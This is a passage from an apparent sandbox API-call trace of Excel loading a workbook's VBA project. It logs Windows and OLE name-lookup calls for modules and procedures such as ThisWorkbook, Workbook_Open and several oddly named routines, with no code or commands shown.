(hWnd=0x101d0, nIndex=-6) returned 0x0 [0283.636] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0283.636] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0283.636] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0283.636] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0283.636] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0283.636] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0283.637] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0283.637] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0283.637] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0283.637] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0283.637] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbd1a5a0 [0283.637] IMalloc:Free (This=0x7feffc15380, pv=0xbd1a5a0) [0284.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisWorkbook", cchWideChar=13, lpMultiByteStr=0x23b0a0, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisWorkbook", lpUsedDefaultChar=0x0) returned 13 [0284.050] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c [0284.050] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0284.050] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb3dd788, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0284.050] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0284.050] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb3dd788, cbMultiByte=11, lpWideCharStr=0x4f3abf8, cchWideChar=11 | out: lpWideCharStr="VBAProject") returned 11 [0284.050] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBAProject") returned 0x10bfbe [0284.051] SysStringByteLen (bstr="敎慰潬") returned 0x6 [0284.051] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb3dd788, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0284.051] SysStringByteLen (bstr="敎慰潬") returned 0x6 [0284.051] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb3dd788, cbMultiByte=7, lpWideCharStr=0xbe66ec8, cchWideChar=7 | out: lpWideCharStr="Nepalo") returned 7 [0284.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisWorkbook.Nepalo", cchWideChar=-1, lpMultiByteStr=0x23b150, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisWorkbook.Nepalo", lpUsedDefaultChar=0x0) returned 20 [0284.053] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.Nepalo") returned 0x10d921 [0284.055] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.Nepalo") returned 0x10d921 [0284.055] lstrlenA (lpString="ThisWorkbook.Nepalo") returned 19 [0284.055] lstrcpyA (in: lpString1=0xe47c775, lpString2="ThisWorkbook.Nepalo" | out: lpString1="ThisWorkbook.Nepalo") returned="ThisWorkbook.Nepalo" [0284.055] SysStringByteLen (bstr="敳瑴敬r") returned 0x7 [0284.055] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb3dd788, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0284.055] SysStringByteLen (bstr="敳瑴敬r") returned 0x7 [0284.055] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb3dd788, cbMultiByte=8, lpWideCharStr=0xbe66ec8, cchWideChar=8 | out: lpWideCharStr="settler") returned 8 [0284.055] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.settler") returned 0x1074df [0284.056] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.settler") returned 0x1074df [0284.056] lstrlenA (lpString="ThisWorkbook.settler") returned 20 [0284.056] lstrcpyA (in: lpString1=0xe5bb8e5, lpString2="ThisWorkbook.settler" | out: lpString1="ThisWorkbook.settler") returned="ThisWorkbook.settler" [0284.056] SysStringByteLen (bstr="潤扵敬档捥k") returned 0xb [0284.056] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb3dd788, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0284.056] SysStringByteLen (bstr="潤扵敬档捥k") returned 0xb [0284.056] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb3dd788, cbMultiByte=12, lpWideCharStr=0xbe66ec8, cchWideChar=12 | out: lpWideCharStr="doublecheck") returned 12 [0284.056] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.doublecheck") returned 0x106002 [0284.056] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.doublecheck") returned 0x106002 [0284.056] lstrlenA (lpString="ThisWorkbook.doublecheck") returned 24 [0284.056] lstrcpyA (in: lpString1=0xe5bb935, lpString2="ThisWorkbook.doublecheck" | out: lpString1="ThisWorkbook.doublecheck") returned="ThisWorkbook.doublecheck" [0284.056] SysStringByteLen (bstr="潦浲慳摮s") returned 0x9 [0284.056] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb3dd788, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0284.056] SysStringByteLen (bstr="潦浲慳摮s") returned 0x9 [0284.056] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb3dd788, cbMultiByte=10, lpWideCharStr=0xbe66ec8, cchWideChar=10 | out: lpWideCharStr="formsands") returned 10 [0284.056] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.formsands") returned 0x1003ba [0284.056] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.formsands") returned 0x1003ba [0284.056] lstrlenA (lpString="ThisWorkbook.formsands") returned 22 [0284.056] lstrcpyA (in: lpString1=0xe5bb985, lpString2="ThisWorkbook.formsands" | out: lpString1="ThisWorkbook.formsands") returned="ThisWorkbook.formsands" [0284.057] SysStringByteLen (bstr="汣慥摲瑡獡") returned 0xa [0284.057] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb3dd788, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0284.057] SysStringByteLen (bstr="汣慥摲瑡獡") returned 0xa [0284.057] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb3dd788, cbMultiByte=11, lpWideCharStr=0xbe66ec8, cchWideChar=11 | out: lpWideCharStr="cleardatas") returned 11 [0284.057] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.cleardatas") returned 0x1027af [0284.057] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.cleardatas") returned 0x1027af [0284.057] lstrlenA (lpString="ThisWorkbook.cleardatas") returned 23 [0284.057] lstrcpyA (in: lpString1=0xe5bb9d5, lpString2="ThisWorkbook.cleardatas" | out: lpString1="ThisWorkbook.cleardatas") returned="ThisWorkbook.cleardatas" [0284.057] SysStringByteLen (bstr="潣浭敤") returned 0x6 [0284.057] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb3dd788, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0284.057] SysStringByteLen (bstr="潣浭敤") returned 0x6 [0284.057] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb3dd788, cbMultiByte=7, lpWideCharStr=0xbe66ec8, cchWideChar=7 | out: lpWideCharStr="commde") returned 7 [0284.057] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.commde") returned 0x108077 [0284.057] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.commde") returned 0x108077 [0284.057] lstrlenA (lpString="ThisWorkbook.commde") returned 19 [0284.057] lstrcpyA (in: lpString1=0xe5bba25, lpString2="ThisWorkbook.commde" | out: lpString1="ThisWorkbook.commde") returned="ThisWorkbook.commde" [0284.057] SysStringByteLen (bstr="牣獳s") returned 0x5 [0284.057] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb3dd788, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0284.057] SysStringByteLen (bstr="牣獳s") returned 0x5 [0284.058] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb3dd788, cbMultiByte=6, lpWideCharStr=0xbe66ec8, cchWideChar=6 | out: lpWideCharStr="crsss") returned 6 [0284.058] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.crsss") returned 0x10ae6f [0284.058] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.crsss") returned 0x10ae6f [0284.058] lstrlenA (lpString="ThisWorkbook.crsss") returned 18 [0284.058] lstrcpyA (in: lpString1=0xe5bba75, lpString2="ThisWorkbook.crsss" | out: lpString1="ThisWorkbook.crsss") returned="ThisWorkbook.crsss" [0284.058] SysStringByteLen (bstr="敓潣摮畎汬s") returned 0xb [0284.058] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb3dd788, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0284.058] SysStringByteLen (bstr="敓潣摮畎汬s") returned 0xb [0284.058] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb3dd788, cbMultiByte=12, lpWideCharStr=0xbe66ec8, cchWideChar=12 | out: lpWideCharStr="SecondNulls") returned 12 [0284.058] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.SecondNulls") returned 0x1080a4 [0284.058] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.SecondNulls") returned 0x1080a4 [0284.058] lstrlenA (lpString="ThisWorkbook.SecondNulls") returned 24 [0284.058] lstrcpyA (in: lpString1=0xe5bbab5, lpString2="ThisWorkbook.SecondNulls" | out: lpString1="ThisWorkbook.SecondNulls") returned="ThisWorkbook.SecondNulls" [0284.058] SysStringByteLen (bstr="摳浥浯") returned 0x6 [0284.058] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb3dd788, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0284.058] SysStringByteLen (bstr="摳浥浯") returned 0x6 [0284.058] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb3dd788, cbMultiByte=7, lpWideCharStr=0xbe66ec8, cchWideChar=7 | out: lpWideCharStr="sdemom") returned 7 [0284.058] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.sdemom") returned 0x106b33 [0284.058] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.sdemom") returned 0x106b33 [0284.058] lstrlenA (lpString="ThisWorkbook.sdemom") returned 19 [0284.059] lstrcpyA (in: lpString1=0xe5bbb05, lpString2="ThisWorkbook.sdemom" | out: lpString1="ThisWorkbook.sdemom") returned="ThisWorkbook.sdemom" [0284.059] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sheet1") returned 0x101ae8 [0284.059] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0284.059] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe66ec8, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0284.059] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0284.059] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe66ec8, cbMultiByte=11, lpWideCharStr=0x4f3abf8, cchWideChar=11 | out: lpWideCharStr="VBAProject") returned 11 [0284.059] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBAProject") returned 0x10bfbe [0284.060] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c [0284.060] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0284.060] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe66ec8, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0284.060] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0284.060] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe66ec8, cbMultiByte=11, lpWideCharStr=0xb3dd788, cchWideChar=11 | out: lpWideCharStr="VBAProject") returned 11 [0284.060] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBAProject") returned 0x10bfbe [0284.060] SysStringByteLen (bstr="敎慰潬") returned 0x6 [0284.061] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe66ec8, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0284.061] SysStringByteLen (bstr="敎慰潬") returned 0x6 [0284.061] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe66ec8, cbMultiByte=7, lpWideCharStr=0x4f3abf8, cchWideChar=7 | out: lpWideCharStr="Nepalo") returned 7 [0284.061] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisWorkbook.Nepalo", cchWideChar=-1, lpMultiByteStr=0x23afc0, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisWorkbook.Nepalo", lpUsedDefaultChar=0x0) returned 20 [0284.061] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.Nepalo") returned 0x10d921 [0284.061] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.Nepalo") returned 0x10d921 [0284.061] lstrlenA (lpString="ThisWorkbook.Nepalo") returned 19 [0284.061] lstrcpyA (in: lpString1=0xe47c775, lpString2="ThisWorkbook.Nepalo" | out: lpString1="ThisWorkbook.Nepalo") returned="ThisWorkbook.Nepalo" [0284.061] SysStringByteLen (bstr="敳瑴敬r") returned 0x7 [0284.061] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe66ec8, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0284.061] SysStringByteLen (bstr="敳瑴敬r") returned 0x7 [0284.061] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe66ec8, cbMultiByte=8, lpWideCharStr=0x4f3abf8, cchWideChar=8 | out: lpWideCharStr="settler") returned 8 [0284.061] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.settler") returned 0x1074df [0284.061] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.settler") returned 0x1074df [0284.061] lstrlenA (lpString="ThisWorkbook.settler") returned 20 [0284.061] lstrcpyA (in: lpString1=0xe5bb8e5, lpString2="ThisWorkbook.settler" | out: lpString1="ThisWorkbook.settler") returned="ThisWorkbook.settler" [0284.061] SysStringByteLen (bstr="潤扵敬档捥k") returned 0xb [0284.061] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe66ec8, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0284.061] SysStringByteLen (bstr="潤扵敬档捥k") returned 0xb [0284.062] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe66ec8, cbMultiByte=12, lpWideCharStr=0x4f3abf8, cchWideChar=12 | out: lpWideCharStr="doublecheck") returned 12 [0284.062] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.doublecheck") returned 0x106002 [0284.062] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.doublecheck") returned 0x106002 [0284.062] lstrlenA (lpString="ThisWorkbook.doublecheck") returned 24 [0284.062] lstrcpyA (in: lpString1=0xe5bb935, lpString2="ThisWorkbook.doublecheck" | out: lpString1="ThisWorkbook.doublecheck") returned="ThisWorkbook.doublecheck" [0284.062] SysStringByteLen (bstr="潦浲慳摮s") returned 0x9 [0284.062] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe66ec8, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0284.062] SysStringByteLen (bstr="潦浲慳摮s") returned 0x9 [0284.062] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe66ec8, cbMultiByte=10, lpWideCharStr=0x4f3abf8, cchWideChar=10 | out: lpWideCharStr="formsands") returned 10 [0284.062] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.formsands") returned 0x1003ba [0284.062] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.formsands") returned 0x1003ba [0284.062] lstrlenA (lpString="ThisWorkbook.formsands") returned 22 [0284.062] lstrcpyA (in: lpString1=0xe5bb985, lpString2="ThisWorkbook.formsands" | out: lpString1="ThisWorkbook.formsands") returned="ThisWorkbook.formsands" [0284.062] SysStringByteLen (bstr="汣慥摲瑡獡") returned 0xa [0284.062] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe66ec8, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0284.062] SysStringByteLen (bstr="汣慥摲瑡獡") returned 0xa [0284.062] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe66ec8, cbMultiByte=11, lpWideCharStr=0x4f3abf8, cchWideChar=11 | out: lpWideCharStr="cleardatas") returned 11 [0284.062] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.cleardatas") returned 0x1027af [0284.062] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.cleardatas") returned 0x1027af [0284.062] lstrlenA (lpString="ThisWorkbook.cleardatas") returned 23 [0284.062] lstrcpyA (in: lpString1=0xe5bb9d5, lpString2="ThisWorkbook.cleardatas" | out: lpString1="ThisWorkbook.cleardatas") returned="ThisWorkbook.cleardatas" [0284.063] SysStringByteLen (bstr="潣浭敤") returned 0x6 [0284.063] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe66ec8, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0284.063] SysStringByteLen (bstr="潣浭敤") returned 0x6 [0284.063] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe66ec8, cbMultiByte=7, lpWideCharStr=0x4f3abf8, cchWideChar=7 | out: lpWideCharStr="commde") returned 7 [0284.063] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.commde") returned 0x108077 [0284.063] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.commde") returned 0x108077 [0284.063] lstrlenA (lpString="ThisWorkbook.commde") returned 19 [0284.063] lstrcpyA (in: lpString1=0xe5bba25, lpString2="ThisWorkbook.commde" | out: lpString1="ThisWorkbook.commde") returned="ThisWorkbook.commde" [0284.063] SysStringByteLen (bstr="牣獳s") returned 0x5 [0284.063] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe66ec8, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0284.063] SysStringByteLen (bstr="牣獳s") returned 0x5 [0284.063] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe66ec8, cbMultiByte=6, lpWideCharStr=0x4f3abf8, cchWideChar=6 | out: lpWideCharStr="crsss") returned 6 [0284.063] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.crsss") returned 0x10ae6f [0284.063] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.crsss") returned 0x10ae6f [0284.063] lstrlenA (lpString="ThisWorkbook.crsss") returned 18 [0284.063] lstrcpyA (in: lpString1=0xe5bba75, lpString2="ThisWorkbook.crsss" | out: lpString1="ThisWorkbook.crsss") returned="ThisWorkbook.crsss" [0284.063] SysStringByteLen (bstr="敓潣摮畎汬s") returned 0xb [0284.063] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe66ec8, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0284.063] SysStringByteLen (bstr="敓潣摮畎汬s") returned 0xb [0284.063] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe66ec8, cbMultiByte=12, lpWideCharStr=0x4f3abf8, cchWideChar=12 | out: lpWideCharStr="SecondNulls") returned 12 [0284.063] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.SecondNulls") returned 0x1080a4 [0284.063] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.SecondNulls") returned 0x1080a4 [0284.063] lstrlenA (lpString="ThisWorkbook.SecondNulls") returned 24 [0284.064] lstrcpyA (in: lpString1=0xe5bbab5, lpString2="ThisWorkbook.SecondNulls" | out: lpString1="ThisWorkbook.SecondNulls") returned="ThisWorkbook.SecondNulls" [0284.064] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sheet1") returned 0x101ae8 [0284.064] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0284.064] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4f3abf8, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0284.064] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0284.064] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4f3abf8, cbMultiByte=11, lpWideCharStr=0xb3dd788, cchWideChar=11 | out: lpWideCharStr="VBAProject") returned 11 [0284.064] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBAProject") returned 0x10bfbe [0284.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisWorkbook.Nepalo", cchWideChar=-1, lpMultiByteStr=0x23b0c0, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisWorkbook.Nepalo", lpUsedDefaultChar=0x0) returned 20 [0284.064] strncpy_s (in: _Dst=0xbd19c00, _DstSize=0x15, _Src="ThisWorkbook.Nepalo", _MaxCount=0x13 | out: _Dst="ThisWorkbook.Nepalo") returned 0x0 [0284.064] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c [0284.064] bsearch (_Key=0x239fd8, _Base=0xbd1fb40, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5d1219c) returned 0xbd1fb48 [0284.064] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 3 [0284.064] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="ThisWorkbook", cchCount2=-1) returned 2 [0284.065] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Nepalo") returned 0x105bca [0284.065] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="CallOfDigits") returned 0x1083c6 [0284.065] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbd1a380 [0284.065] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Workbook_Open") returned 0x10e19b [0284.065] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbd1b180 [0284.065] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Nepalo") returned 0x105bca [0284.065] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbd1ade0 [0284.065] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Fcharss") returned 0x105286 [0284.065] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbd1a860 [0284.065] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="settler") returned 0x100606 [0284.065] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbd15620 [0284.065] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="doublecheck") returned 0x10f783 [0284.065] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbd1a4c0 [0284.065] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="formsands") returned 0x1020d8 [0284.065] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbd18e00 [0284.065] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="cleardatas") returned 0x106438 [0284.065] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbd156e0 [0284.065] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="commde") returned 0x100320 [0284.065] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbd18b40 [0284.065] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="crsss") returned 0x10bd4f [0284.065] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbd159e0 [0284.065] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="SecondNulls") returned 0x1017e6 [0284.065] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbd18da0 [0284.065] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="sdemom") returned 0x10fd9c [0284.065] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Nepalo", cchCount1=-1, lpString2="Nepalo", cchCount2=-1) returned 2 [0284.065] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Nepalo") returned 0x105bca [0284.066] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Nepalo") returned 0x105bca [0284.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisWorkbook.settler", cchWideChar=-1, lpMultiByteStr=0x23b0c0, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisWorkbook.settler", lpUsedDefaultChar=0x0) returned 21 [0284.066] strncpy_s (in: _Dst=0xbd19c00, _DstSize=0x16, _Src="ThisWorkbook.settler", _MaxCount=0x14 | out: _Dst="ThisWorkbook.settler") returned 0x0 [0284.066] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c [0284.066] bsearch (_Key=0x239fd8, _Base=0xbd1fb40, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5d1219c) returned 0xbd1fb48 [0284.066] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 3 [0284.066] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="ThisWorkbook", cchCount2=-1) returned 2 [0284.066] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="settler") returned 0x100606 [0284.066] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="settler") returned 0x100606 [0284.066] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="settler") returned 0x100606 [0284.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisWorkbook.doublecheck", cchWideChar=-1, lpMultiByteStr=0x23b0b0, cbMultiByte=49, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisWorkbook.doublecheck", lpUsedDefaultChar=0x0) returned 25 [0284.066] strncpy_s (in: _Dst=0xbe66e00, _DstSize=0x1a, _Src="ThisWorkbook.doublecheck", _MaxCount=0x18 | out: _Dst="ThisWorkbook.doublecheck") returned 0x0 [0284.066] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c [0284.066] bsearch (_Key=0x239fb8, _Base=0xbd1fb40, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5d1219c) returned 0xbd1fb48 [0284.067] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, 